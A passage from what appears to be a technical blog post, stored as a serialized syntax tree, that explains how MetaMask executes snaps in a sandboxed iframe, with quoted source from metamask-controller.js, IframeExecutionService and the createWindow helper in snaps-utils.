",{"type":23,"tag":209,"props":35655,"children":35657},{"className":35656},[],[35658],{"type":28,"value":35659},"metamask-controller.js",{"type":28,"value":35661}," file. Here's a glimpse of the relevant ",{"type":23,"tag":36,"props":35663,"children":35666},{"href":35664,"rel":35665},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[40],[35667],{"type":28,"value":209},{"type":28,"value":277},{"type":23,"tag":202,"props":35670,"children":35674},{"className":35671,"code":35672,"language":35673,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n messenger: this.controllerMessenger.getRestricted({\n name: 'ExecutionService',\n }),\n setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n 'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[35675],{"type":23,"tag":209,"props":35676,"children":35677},{"__ignoreMap":7},[35678,35686,35694,35714,35762,35797,35814,35822,35864,35871,35878,35886,35914,35926],{"type":23,"tag":213,"props":35679,"children":35680},{"class":215,"line":216},[35681],{"type":23,"tag":213,"props":35682,"children":35683},{"style":537},[35684],{"type":28,"value":35685},"// Import snaps-controllers\n",{"type":23,"tag":213,"props":35687,"children":35688},{"class":215,"line":226},[35689],{"type":23,"tag":213,"props":35690,"children":35691},{"style":537},[35692],{"type":28,"value":35693},"// ...\n",{"type":23,"tag":213,"props":35695,"children":35696},{"class":215,"line":524},[35697,35701,35706,35710],{"type":23,"tag":213,"props":35698,"children":35699},{"style":230},[35700],{"type":28,"value":632},{"type":23,"tag":213,"props":35702,"children":35703},{"style":268},[35704],{"type":28,"value":35705}," snapExecutionServiceArgs",{"type":23,"tag":213,"props":35707,"children":35708},{"style":274},[35709],{"type":28,"value":511},{"type":23,"tag":213,"props":35711,"children":35712},{"style":220},[35713],{"type":28,"value":1375},{"type":23,"tag":213,"props":35715,"children":35716},{"class":215,"line":533},[35717,35722,35726,35731,35735,35740,35744,35749,35753,35758],{"type":23,"tag":213,"props":35718,"children":35719},{"style":268},[35720],{"type":28,"value":35721}," iframeUrl:",{"type":23,"tag":213,"props":35723,"children":35724},{"style":230},[35725],{"type":28,"value":31989},{"type":23,"tag":213,"props":35727,"children":35728},{"style":257},[35729],{"type":28,"value":35730}," URL",{"type":23,"tag":213,"props":35732,"children":35733},{"style":220},[35734],{"type":28,"value":265},{"type":23,"tag":213,"props":35736,"children":35737},{"style":268},[35738],{"type":28,"value":35739},"process",{"type":23,"tag":213,"props":35741,"children":35742},{"style":220},[35743],{"type":28,"value":124},{"type":23,"tag":213,"props":35745,"children":35746},{"style":268},[35747],{"type":28,"value":35748},"env",{"type":23,"tag":213,"props":35750,"children":35751},{"style":220},[35752],{"type":28,"value":124},{"type":23,"tag":213,"props":35754,"children":35755},{"style":268},[35756],{"type":28,"value":35757},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":23,"tag":213,"props":35759,"children":35760},{"style":220},[35761],{"type":28,"value":1715},{"type":23,"tag":213,"props":35763,"children":35764},{"class":215,"line":543},[35765,35770,35775,35779,35784,35788,35793],{"type":23,"tag":213,"props":35766,"children":35767},{"style":268},[35768],{"type":28,"value":35769}," messenger:",{"type":23,"tag":213,"props":35771,"children":35772},{"style":230},[35773],{"type":28,"value":35774}," this",{"type":23,"tag":213,"props":35776,"children":35777},{"style":220},[35778],{"type":28,"value":124},{"type":23,"tag":213,"props":35780,"children":35781},{"style":268},[35782],{"type":28,"value":35783},"controllerMessenger",{"type":23,"tag":213,"props":35785,"children":35786},{"style":220},[35787],{"type":28,"value":124},{"type":23,"tag":213,"props":35789,"children":35790},{"style":257},[35791],{"type":28,"value":35792},"getRestricted",{"type":23,"tag":213,"props":35794,"children":35795},{"style":220},[35796],{"type":28,"value":15199},{"type":23,"tag":213,"props":35798,"children":35799},{"class":215,"line":551},[35800,35805,35810],{"type":23,"tag":213,"props":35801,"children":35802},{"style":268},[35803],{"type":28,"value":35804}," name:",{"type":23,"tag":213,"props":35806,"children":35807},{"style":246},[35808],{"type":28,"value":35809}," 'ExecutionService'",{"type":23,"tag":213,"props":35811,"children":35812},{"style":220},[35813],{"type":28,"value":944},{"type":23,"tag":213,"props":35815,"children":35816},{"class":215,"line":570},[35817],{"type":23,"tag":213,"props":35818,"children":35819},{"style":220},[35820],{"type":28,"value":35821}," }),\n",{"type":23,"tag":213,"props":35823,"children":35824},{"class":215,"line":655},[35825,35830,35834,35838,35843,35847,35852,35856,35860],{"type":23,"tag":213,"props":35826,"children":35827},{"style":268},[35828],{"type":28,"value":35829}," setupSnapProvider:",{"type":23,"tag":213,"props":35831,"children":35832},{"style":230},[35833],{"type":28,"value":35774},{"type":23,"tag":213,"props":35835,"children":35836},{"style":220},[35837],{"type":28,"value":124},{"type":23,"tag":213,"props":35839,"children":35840},{"style":268},[35841],{"type":28,"value":35842},"setupSnapProvider",{"type":23,"tag":213,"props":35844,"children":35845},{"style":220},[35846],{"type":28,"value":124},{"type":23,"tag":213,"props":35848,"children":35849},{"style":257},[35850],{"type":28,"value":35851},"bind",{"type":23,"tag":213,"props":35853,"children":35854},{"style":220},[35855],{"type":28,"value":265},{"type":23,"tag":213,"props":35857,"children":35858},{"style":230},[35859],{"type":28,"value":17743},{"type":23,"tag":213,"props":35861,"children":35862},{"style":220},[35863],{"type":28,"value":1715},{"type":23,"tag":213,"props":35865,"children":35866},{"class":215,"line":1176},[35867],{"type":23,"tag":213,"props":35868,"children":35869},{"style":220},[35870],{"type":28,"value":16629},{"type":23,"tag":213,"props":35872,"children":35873},{"class":215,"line":1202},[35874],{"type":23,"tag":213,"props":35875,"children":35876},{"emptyLinePlaceholder":18},[35877],{"type":28,"value":530},{"type":23,"tag":213,"props":35879,"children":35880},{"class":215,"line":1758},[35881],{"type":23,"tag":213,"props":35882,"children":35883},{"style":537},[35884],{"type":28,"value":35885},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":23,"tag":213,"props":35887,"children":35888},{"class":215,"line":1767},[35889,35893,35897,35901,35905,35909],{"type":23,"tag":213,"props":35890,"children":35891},{"style":268},[35892],{"type":28,"value":35739},{"type":23,"tag":213,"props":35894,"children":35895},{"style":220},[35896],{"type":28,"value":124},{"type":23,"tag":213,"props":35898,"children":35899},{"style":268},[35900],{"type":28,"value":35748},{"type":23,"tag":213,"props":35902,"children":35903},{"style":220},[35904],{"type":28,"value":124},{"type":23,"tag":213,"props":35906,"children":35907},{"style":268},[35908],{"type":28,"value":35757},{"type":23,"tag":213,"props":35910,"children":35911},{"style":274},[35912],{"type":28,"value":35913}," =\n",{"type":23,"tag":213,"props":35915,"children":35916},{"class":215,"line":1789},[35917,35922],{"type":23,"tag":213,"props":35918,"children":35919},{"style":246},[35920],{"type":28,"value":35921}," 'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":23,"tag":213,"props":35923,"children":35924},{"style":220},[35925],{"type":28,"value":313},{"type":23,"tag":213,"props":35927,"children":35928},{"class":215,"line":1812},[35929],{"type":23,"tag":213,"props":35930,"children":35931},{"style":537},[35932],{"type":28,"value":35693},{"type":23,"tag":24,"props":35934,"children":35935},{},[35936,35938,35944,35946,35952,35954,35959],{"type":28,"value":35937},"This code is defining the ",{"type":23,"tag":209,"props":35939,"children":35941},{"className":35940},[],[35942],{"type":28,"value":35943},"snapExecutionServiceArgs",{"type":28,"value":35945}," object, which contains information required for the ",{"type":23,"tag":209,"props":35947,"children":35949},{"className":35948},[],[35950],{"type":28,"value":35951},"IframeExecutionService",{"type":28,"value":35953}," to execute snaps. The ",{"type":23,"tag":209,"props":35955,"children":35957},{"className":35956},[],[35958],{"type":28,"value":35757},{"type":28,"value":35960}," points to the location where the execution environment resides.",{"type":23,"tag":18945,"props":35962,"children":35964},{"id":35963},"executing-snaps-iframeexecutionservice-in-action",[35965],{"type":28,"value":35966},"Executing Snaps: IframeExecutionService in Action",{"type":23,"tag":24,"props":35968,"children":35969},{},[35970,35972,35977,35979,35985],{"type":28,"value":35971},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":23,"tag":209,"props":35973,"children":35975},{"className":35974},[],[35976],{"type":28,"value":35951},{"type":28,"value":35978}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":23,"tag":36,"props":35980,"children":35983},{"href":35981,"rel":35982},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[40],[35984],{"type":28,"value":209},{"type":28,"value":277},{"type":23,"tag":202,"props":35987,"children":35991},{"className":35988,"code":35989,"language":35990,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n `${controllerName}:handleRpcRequest`,\n async (snapId: string, options: SnapRpcHookArgs) =>\n this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n // Initialize job, streams, and environment\n const { jobId } = await this.initJob(snapData);\n const { worker, stream } = await this.initEnvStream(jobId);\n // ...\n}\n","typescript",[35992],{"type":23,"tag":209,"props":35993,"children":35994},{"__ignoreMap":7},[35995,36003,36032,36062,36115,36152,36159,36166,36174,36181,36188,36196,36231,36239,36295,36357,36365],{"type":23,"tag":213,"props":35996,"children":35997},{"class":215,"line":216},[35998],{"type":23,"tag":213,"props":35999,"children":36000},{"style":537},[36001],{"type":28,"value":36002},"// Register message handlers for snap interactions\n",{"type":23,"tag":213,"props":36004,"children":36005},{"class":215,"line":226},[36006,36010,36014,36019,36023,36028],{"type":23,"tag":213,"props":36007,"children":36008},{"style":230},[36009],{"type":28,"value":17743},{"type":23,"tag":213,"props":36011,"children":36012},{"style":220},[36013],{"type":28,"value":124},{"type":23,"tag":213,"props":36015,"children":36016},{"style":268},[36017],{"type":28,"value":36018},"#messenger",{"type":23,"tag":213,"props":36020,"children":36021},{"style":220},[36022],{"type":28,"value":124},{"type":23,"tag":213,"props":36024,"children":36025},{"style":257},[36026],{"type":28,"value":36027},"registerActionHandler",{"type":23,"tag":213,"props":36029,"children":36030},{"style":220},[36031],{"type":28,"value":1511},{"type":23,"tag":213,"props":36033,"children":36034},{"class":215,"line":524},[36035,36040,36044,36049,36053,36058],{"type":23,"tag":213,"props":36036,"children":36037},{"style":246},[36038],{"type":28,"value":36039}," `",{"type":23,"tag":213,"props":36041,"children":36042},{"style":230},[36043],{"type":28,"value":34165},{"type":23,"tag":213,"props":36045,"children":36046},{"style":268},[36047],{"type":28,"value":36048},"controllerName",{"type":23,"tag":213,"props":36050,"children":36051},{"style":230},[36052],{"type":28,"value":34197},{"type":23,"tag":213,"props":36054,"children":36055},{"style":246},[36056],{"type":28,"value":36057},":handleRpcRequest`",{"type":23,"tag":213,"props":36059,"children":36060},{"style":220},[36061],{"type":28,"value":944},{"type":23,"tag":213,"props":36063,"children":36064},{"class":215,"line":533},[36065,36070,36074,36079,36083,36088,36092,36097,36101,36106,36110],{"type":23,"tag":213,"props":36066,"children":36067},{"style":230},[36068],{"type":28,"value":36069}," async",{"type":23,"tag":213,"props":36071,"children":36072},{"style":220},[36073],{"type":28,"value":400},{"type":23,"tag":213,"props":36075,"children":36076},{"style":268},[36077],{"type":28,"value":36078},"snapId",{"type":23,"tag":213,"props":36080,"children":36081},{"style":274},[36082],{"type":28,"value":277},{"type":23,"tag":213,"props":36084,"children":36085},{"style":290},[36086],{"type":28,"value":36087}," string",{"type":23,"tag":213,"props":36089,"children":36090},{"style":220},[36091],{"type":28,"value":424},{"type":23,"tag":213,"props":36093,"children":36094},{"style":268},[36095],{"type":28,"value":36096},"options",{"type":23,"tag":213,"props":36098,"children":36099},{"style":274},[36100],{"type":28,"value":277},{"type":23,"tag":213,"props":36102,"children":36103},{"style":290},[36104],{"type":28,"value":36105}," SnapRpcHookArgs",{"type":23,"tag":213,"props":36107,"children":36108},{"style":220},[36109],{"type":28,"value":298},{"type":23,"tag":213,"props":36111,"children":36112},{"style":230},[36113],{"type":28,"value":36114},"=>\n",{"type":23,"tag":213,"props":36116,"children":36117},{"class":215,"line":543},[36118,36123,36127,36132,36136,36140,36144,36148],{"type":23,"tag":213,"props":36119,"children":36120},{"style":230},[36121],{"type":28,"value":36122}," this",{"type":23,"tag":213,"props":36124,"children":36125},{"style":220},[36126],{"type":28,"value":124},{"type":23,"tag":213,"props":36128,"children":36129},{"style":257},[36130],{"type":28,"value":36131},"handleRpcRequest",{"type":23,"tag":213,"props":36133,"children":36134},{"style":220},[36135],{"type":28,"value":265},{"type":23,"tag":213,"props":36137,"children":36138},{"style":268},[36139],{"type":28,"value":36078},{"type":23,"tag":213,"props":36141,"children":36142},{"style":220},[36143],{"type":28,"value":424},{"type":23,"tag":213,"props":36145,"children":36146},{"style":268},[36147],{"type":28,"value":36096},{"type":23,"tag":213,"props":36149,"children":36150},{"style":220},[36151],{"type":28,"value":1715},{"type":23,"tag":213,"props":36153,"children":36154},{"class":215,"line":551},[36155],{"type":23,"tag":213,"props":36156,"children":36157},{"style":220},[36158],{"type":28,"value":2867},{"type":23,"tag":213,"props":36160,"children":36161},{"class":215,"line":570},[36162],{"type":23,"tag":213,"props":36163,"children":36164},{"emptyLinePlaceholder":18},[36165],{"type":28,"value":530},{"type":23,"tag":213,"props":36167,"children":36168},{"class":215,"line":655},[36169],{"type":23,"tag":213,"props":36170,"children":36171},{"style":537},[36172],{"type":28,"value":36173},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":23,"tag":213,"props":36175,"children":36176},{"class":215,"line":1176},[36177],{"type":23,"tag":213,"props":36178,"children":36179},{"style":537},[36180],{"type":28,"value":35693},{"type":23,"tag":213,"props":36182,"children":36183},{"class":215,"line":1202},[36184],{"type":23,"tag":213,"props":36185,"children":36186},{"emptyLinePlaceholder":18},[36187],{"type":28,"value":530},{"type":23,"tag":213,"props":36189,"children":36190},{"class":215,"line":1758},[36191],{"type":23,"tag":213,"props":36192,"children":36193},{"style":537},[36194],{"type":28,"value":36195},"// Execute a snap\n",{"type":23,"tag":213,"props":36197,"children":36198},{"class":215,"line":1767},[36199,36204,36209,36213,36218,36222,36227],{"type":23,"tag":213,"props":36200,"children":36201},{"style":268},[36202],{"type":28,"value":36203},"async",{"type":23,"tag":213,"props":36205,"children":36206},{"style":257},[36207],{"type":28,"value":36208}," executeSnap",{"type":23,"tag":213,"props":36210,"children":36211},{"style":220},[36212],{"type":28,"value":265},{"type":23,"tag":213,"props":36214,"children":36215},{"style":268},[36216],{"type":28,"value":36217},"snapData",{"type":23,"tag":213,"props":36219,"children":36220},{"style":220},[36221],{"type":28,"value":15390},{"type":23,"tag":213,"props":36223,"children":36224},{"style":268},[36225],{"type":28,"value":36226},"SnapExecutionData",{"type":23,"tag":213,"props":36228,"children":36229},{"style":220},[36230],{"type":28,"value":14870},{"type":23,"tag":213,"props":36232,"children":36233},{"class":215,"line":1789},[36234],{"type":23,"tag":213,"props":36235,"children":36236},{"style":537},[36237],{"type":28,"value":36238}," // Initialize job, streams, and environment\n",{"type":23,"tag":213,"props":36240,"children":36241},{"class":215,"line":1812},[36242,36247,36251,36256,36261,36265,36270,36274,36278,36283,36287,36291],{"type":23,"tag":213,"props":36243,"children":36244},{"style":230},[36245],{"type":28,"value":36246}," const",{"type":23,"tag":213,"props":36248,"children":36249},{"style":220},[36250],{"type":28,"value":2572},{"type":23,"tag":213,"props":36252,"children":36253},{"style":268},[36254],{"type":28,"value":36255},"jobId",{"type":23,"tag":213,"props":36257,"children":36258},{"style":220},[36259],{"type":28,"value":36260}," } ",{"type":23,"tag":213,"props":36262,"children":36263},{"style":274},[36264],{"type":28,"value":3190},{"type":23,"tag":213,"props":36266,"children":36267},{"style":1362},[36268],{"type":28,"value":36269}," await",{"type":23,"tag":213,"props":36271,"children":36272},{"style":230},[36273],{"type":28,"value":35774},{"type":23,"tag":213,"props":36275,"children":36276},{"style":220},[36277],{"type":28,"value":124},{"type":23,"tag":213,"props":36279,"children":36280},{"style":257},[36281],{"type":28,"value":36282},"initJob",{"type":23,"tag":213,"props":36284,"children":36285},{"style":220},[36286],{"type":28,"value":265},{"type":23,"tag":213,"props":36288,"children":36289},{"style":268},[36290],{"type":28,"value":36217},{"type":23,"tag":213,"props":36292,"children":36293},{"style":220},[36294],{"type":28,"value":2867},{"type":23,"tag":213,"props":36296,"children":36297},{"class":215,"line":1838},[36298,36302,36306,36311,36315,36320,36324,36328,36332,36336,36340,36345,36349,36353],{"type":23,"tag":213,"props":36299,"children":36300},{"style":230},[36301],{"type":28,"value":36246},{"type":23,"tag":213,"props":36303,"children":36304},{"style":220},[36305],{"type":28,"value":2572},{"type":23,"tag":213,"props":36307,"children":36308},{"style":268},[36309],{"type":28,"value":36310},"worker",{"type":23,"tag":213,"props":36312,"children":36313},{"style":220},[36314],{"type":28,"value":424},{"type":23,"tag":213,"props":36316,"children":36317},{"style":268},[36318],{"type":28,"value":36319},"stream",{"type":23,"tag":213,"props":36321,"children":36322},{"style":220},[36323],{"type":28,"value":36260},{"type":23,"tag":213,"props":36325,"children":36326},{"style":274},[36327],{"type":28,"value":3190},{"type":23,"tag":213,"props":36329,"children":36330},{"style":1362},[36331],{"type":28,"value":36269},{"type":23,"tag":213,"props":36333,"children":36334},{"style":230},[36335],{"type":28,"value":35774},{"type":23,"tag":213,"props":36337,"children":36338},{"style":220},[36339],{"type":28,"value":124},{"type":23,"tag":213,"props":36341,"children":36342},{"style":257},[36343],{"type":28,"value":36344},"initEnvStream",{"type":23,"tag":213,"props":36346,"children":36347},{"style":220},[36348],{"type":28,"value":265},{"type":23,"tag":213,"props":36350,"children":36351},{"style":268},[36352],{"type":28,"value":36255},{"type":23,"tag":213,"props":36354,"children":36355},{"style":220},[36356],{"type":28,"value":2867},{"type":23,"tag":213,"props":36358,"children":36359},{"class":215,"line":1851},[36360],{"type":23,"tag":213,"props":36361,"children":36362},{"style":537},[36363],{"type":28,"value":36364}," // ...\n",{"type":23,"tag":213,"props":36366,"children":36367},{"class":215,"line":1864},[36368],{"type":23,"tag":213,"props":36369,"children":36370},{"style":220},[36371],{"type":28,"value":1208},{"type":23,"tag":24,"props":36373,"children":36374},{},[36375,36376,36381,36383,36389],{"type":28,"value":2623},{"type":23,"tag":209,"props":36377,"children":36379},{"className":36378},[],[36380],{"type":28,"value":35951},{"type":28,"value":36382}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":23,"tag":209,"props":36384,"children":36386},{"className":36385},[],[36387],{"type":28,"value":36388},"${controllerName}:executeSnap",{"type":28,"value":36390}," handler triggers the snap execution process.",{"type":23,"tag":18945,"props":36392,"children":36394},{"id":36393},"step-by-step-execution-from-initialization-to-iframe-creation",[36395,36397],{"type":28,"value":36396},"Step-by-Step Execution: From Initialization to iFrame ",{"type":23,"tag":36,"props":36398,"children":36401},{"href":36399,"rel":36400},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[40],[36402],{"type":28,"value":36403},"creation",{"type":23,"tag":202,"props":36405,"children":36407},{"className":35988,"code":36406,"language":35990,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n worker: Window;\n stream: BasePostMessageStream;\n }> {\n const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n const stream = new WindowPostMessageStream({\n name: 'parent',\n target: 'child',\n targetWindow: iframeWindow,\n targetOrigin: '*',\n });\n\n return { worker: iframeWindow, stream };\n }\n",[36408],{"type":23,"tag":209,"props":36409,"children":36410},{"__ignoreMap":7},[36411,36460,36481,36502,36510,36574,36581,36609,36626,36643,36660,36677,36684,36691,36715],{"type":23,"tag":213,"props":36412,"children":36413},{"class":215,"line":216},[36414,36419,36424,36429,36433,36437,36441,36445,36450,36455],{"type":23,"tag":213,"props":36415,"children":36416},{"style":268},[36417],{"type":28,"value":36418},"protected",{"type":23,"tag":213,"props":36420,"children":36421},{"style":268},[36422],{"type":28,"value":36423}," async",{"type":23,"tag":213,"props":36425,"children":36426},{"style":257},[36427],{"type":28,"value":36428}," initEnvStream",{"type":23,"tag":213,"props":36430,"children":36431},{"style":220},[36432],{"type":28,"value":265},{"type":23,"tag":213,"props":36434,"children":36435},{"style":268},[36436],{"type":28,"value":36255},{"type":23,"tag":213,"props":36438,"children":36439},{"style":220},[36440],{"type":28,"value":15390},{"type":23,"tag":213,"props":36442,"children":36443},{"style":268},[36444],{"type":28,"value":29722},{"type":23,"tag":213,"props":36446,"children":36447},{"style":220},[36448],{"type":28,"value":36449},"): ",{"type":23,"tag":213,"props":36451,"children":36452},{"style":290},[36453],{"type":28,"value":36454},"Promise",{"type":23,"tag":213,"props":36456,"children":36457},{"style":220},[36458],{"type":28,"value":36459},"\u003C{\n",{"type":23,"tag":213,"props":36461,"children":36462},{"class":215,"line":226},[36463,36468,36472,36477],{"type":23,"tag":213,"props":36464,"children":36465},{"style":268},[36466],{"type":28,"value":36467}," worker",{"type":23,"tag":213,"props":36469,"children":36470},{"style":274},[36471],{"type":28,"value":277},{"type":23,"tag":213,"props":36473,"children":36474},{"style":290},[36475],{"type":28,"value":36476}," Window",{"type":23,"tag":213,"props":36478,"children":36479},{"style":220},[36480],{"type":28,"value":313},{"type":23,"tag":213,"props":36482,"children":36483},{"class":215,"line":524},[36484,36489,36493,36498],{"type":23,"tag":213,"props":36485,"children":36486},{"style":268},[36487],{"type":28,"value":36488}," stream",{"type":23,"tag":213,"props":36490,"children":36491},{"style":274},[36492],{"type":28,"value":277},{"type":23,"tag":213,"props":36494,"children":36495},{"style":290},[36496],{"type":28,"value":36497}," BasePostMessageStream",{"type":23,"tag":213,"props":36499,"children":36500},{"style":220},[36501],{"type":28,"value":313},{"type":23,"tag":213,"props":36503,"children":36504},{"class":215,"line":533},[36505],{"type":23,"tag":213,"props":36506,"children":36507},{"style":220},[36508],{"type":28,"value":36509}," }> {\n",{"type":23,"tag":213,"props":36511,"children":36512},{"class":215,"line":543},[36513,36518,36523,36527,36531,36536,36540,36544,36548,36553,36557,36562,36566,36570],{"type":23,"tag":213,"props":36514,"children":36515},{"style":220},[36516],{"type":28,"value":36517}," const ",{"type":23,"tag":213,"props":36519,"children":36520},{"style":268},[36521],{"type":28,"value":36522},"iframeWindow",{"type":23,"tag":213,"props":36524,"children":36525},{"style":274},[36526],{"type":28,"value":511},{"type":23,"tag":213,"props":36528,"children":36529},{"style":1362},[36530],{"type":28,"value":36269},{"type":23,"tag":213,"props":36532,"children":36533},{"style":257},[36534],{"type":28,"value":36535}," createWindow",{"type":23,"tag":213,"props":36537,"children":36538},{"style":220},[36539],{"type":28,"value":265},{"type":23,"tag":213,"props":36541,"children":36542},{"style":230},[36543],{"type":28,"value":17743},{"type":23,"tag":213,"props":36545,"children":36546},{"style":220},[36547],{"type":28,"value":124},{"type":23,"tag":213,"props":36549,"children":36550},{"style":268},[36551],{"type":28,"value":36552},"iframeUrl",{"type":23,"tag":213,"props":36554,"children":36555},{"style":220},[36556],{"type":28,"value":124},{"type":23,"tag":213,"props":36558,"children":36559},{"style":257},[36560],{"type":28,"value":36561},"toString",{"type":23,"tag":213,"props":36563,"children":36564},{"style":220},[36565],{"type":28,"value":18426},{"type":23,"tag":213,"props":36567,"children":36568},{"style":268},[36569],{"type":28,"value":36255},{"type":23,"tag":213,"props":36571,"children":36572},{"style":220},[36573],{"type":28,"value":2867},{"type":23,"tag":213,"props":36575,"children":36576},{"class":215,"line":551},[36577],{"type":23,"tag":213,"props":36578,"children":36579},{"emptyLinePlaceholder":18},[36580],{"type":28,"value":530},{"type":23,"tag":213,"props":36582,"children":36583},{"class":215,"line":570},[36584,36588,36592,36596,36600,36605],{"type":23,"tag":213,"props":36585,"children":36586},{"style":220},[36587],{"type":28,"value":36517},{"type":23,"tag":213,"props":36589,"children":36590},{"style":268},[36591],{"type":28,"value":36319},{"type":23,"tag":213,"props":36593,"children":36594},{"style":274},[36595],{"type":28,"value":511},{"type":23,"tag":213,"props":36597,"children":36598},{"style":230},[36599],{"type":28,"value":31989},{"type":23,"tag":213,"props":36601,"children":36602},{"style":257},[36603],{"type":28,"value":36604}," WindowPostMessageStream",{"type":23,"tag":213,"props":36606,"children":36607},{"style":220},[36608],{"type":28,"value":15199},{"type":23,"tag":213,"props":36610,"children":36611},{"class":215,"line":655},[36612,36617,36622],{"type":23,"tag":213,"props":36613,"children":36614},{"style":268},[36615],{"type":28,"value":36616}," name:",{"type":23,"tag":213,"props":36618,"children":36619},{"style":246},[36620],{"type":28,"value":36621}," 'parent'",{"type":23,"tag":213,"props":36623,"children":36624},{"style":220},[36625],{"type":28,"value":944},{"type":23,"tag":213,"props":36627,"children":36628},{"class":215,"line":1176},[36629,36634,36639],{"type":23,"tag":213,"props":36630,"children":36631},{"style":268},[36632],{"type":28,"value":36633}," target:",{"type":23,"tag":213,"props":36635,"children":36636},{"style":246},[36637],{"type":28,"value":36638}," 'child'",{"type":23,"tag":213,"props":36640,"children":36641},{"style":220},[36642],{"type":28,"value":944},{"type":23,"tag":213,"props":36644,"children":36645},{"class":215,"line":1202},[36646,36651,36656],{"type":23,"tag":213,"props":36647,"children":36648},{"style":268},[36649],{"type":28,"value":36650}," targetWindow:",{"type":23,"tag":213,"props":36652,"children":36653},{"style":268},[36654],{"type":28,"value":36655}," iframeWindow",{"type":23,"tag":213,"props":36657,"children":36658},{"style":220},[36659],{"type":28,"value":944},{"type":23,"tag":213,"props":36661,"children":36662},{"class":215,"line":1758},[36663,36668,36673],{"type":23,"tag":213,"props":36664,"children":36665},{"style":268},[36666],{"type":28,"value":36667}," targetOrigin:",{"type":23,"tag":213,"props":36669,"children":36670},{"style":246},[36671],{"type":28,"value":36672}," '*'",{"type":23,"tag":213,"props":36674,"children":36675},{"style":220},[36676],{"type":28,"value":944},{"type":23,"tag":213,"props":36678,"children":36679},{"class":215,"line":1767},[36680],{"type":23,"tag":213,"props":36681,"children":36682},{"style":220},[36683],{"type":28,"value":32312},{"type":23,"tag":213,"props":36685,"children":36686},{"class":215,"line":1789},[36687],{"type":23,"tag":213,"props":36688,"children":36689},{"emptyLinePlaceholder":18},[36690],{"type":28,"value":530},{"type":23,"tag":213,"props":36692,"children":36693},{"class":215,"line":1812},[36694,36699,36703,36707,36711],{"type":23,"tag":213,"props":36695,"children":36696},{"style":220},[36697],{"type":28,"value":36698}," return { worker: ",{"type":23,"tag":213,"props":36700,"children":36701},{"style":268},[36702],{"type":28,"value":36522},{"type":23,"tag":213,"props":36704,"children":36705},{"style":220},[36706],{"type":28,"value":424},{"type":23,"tag":213,"props":36708,"children":36709},{"style":268},[36710],{"type":28,"value":36319},{"type":23,"tag":213,"props":36712,"children":36713},{"style":220},[36714],{"type":28,"value":18350},{"type":23,"tag":213,"props":36716,"children":36717},{"class":215,"line":1838},[36718],{"type":23,"tag":213,"props":36719,"children":36720},{"style":220},[36721],{"type":28,"value":5964},{"type":23,"tag":24,"props":36723,"children":36724},{},[36725,36727,36733,36735,36742],{"type":28,"value":36726},"Here the iframe is created via ",{"type":23,"tag":209,"props":36728,"children":36730},{"className":36729},[],[36731],{"type":28,"value":36732},"createWindow",{"type":28,"value":36734},", which is defined in snaps-utils ",{"type":23,"tag":36,"props":36736,"children":36739},{"href":36737,"rel":36738},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[40],[36740],{"type":28,"value":36741},"package",{"type":28,"value":277},{"type":23,"tag":202,"props":36744,"children":36746},{"className":35988,"code":36745,"language":35990,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n iframe.setAttribute('id', id);\n iframe.setAttribute('data-testid', 'snaps-iframe');\n\n if (sandbox) {\n iframe.setAttribute('sandbox', 'allow-scripts');\n }\n iframe.setAttribute('src', uri);\n document.body.appendChild(iframe);\n",[36747],{"type":23,"tag":209,"props":36748,"children":36749},{"__ignoreMap":7},[36750,36793,36831,36868,36875,36895,36933,36940,36977],{"type":23,"tag":213,"props":36751,"children":36752},{"class":215,"line":216},[36753,36757,36762,36766,36771,36775,36780,36784,36789],{"type":23,"tag":213,"props":36754,"children":36755},{"style":230},[36756],{"type":28,"value":632},{"type":23,"tag":213,"props":36758,"children":36759},{"style":268},[36760],{"type":28,"value":36761}," iframe",{"type":23,"tag":213,"props":36763,"children":36764},{"style":274},[36765],{"type":28,"value":511},{"type":23,"tag":213,"props":36767,"children":36768},{"style":268},[36769],{"type":28,"value":36770}," document",{"type":23,"tag":213,"props":36772,"children":36773},{"style":220},[36774],{"type":28,"value":124},{"type":23,"tag":213,"props":36776,"children":36777},{"style":257},[36778],{"type":28,"value":36779},"createElement",{"type":23,"tag":213,"props":36781,"children":36782},{"style":220},[36783],{"type":28,"value":265},{"type":23,"tag":213,"props":36785,"children":36786},{"style":246},[36787],{"type":28,"value":36788},"'iframe'",{"type":23,"tag":213,"props":36790,"children":36791},{"style":220},[36792],{"type":28,"value":2867},{"type":23,"tag":213,"props":36794,"children":36795},{"class":215,"line":226},[36796,36801,36805,36810,36814,36819,36823,36827],{"type":23,"tag":213,"props":36797,"children":36798},{"style":268},[36799],{"type":28,"value":36800}," 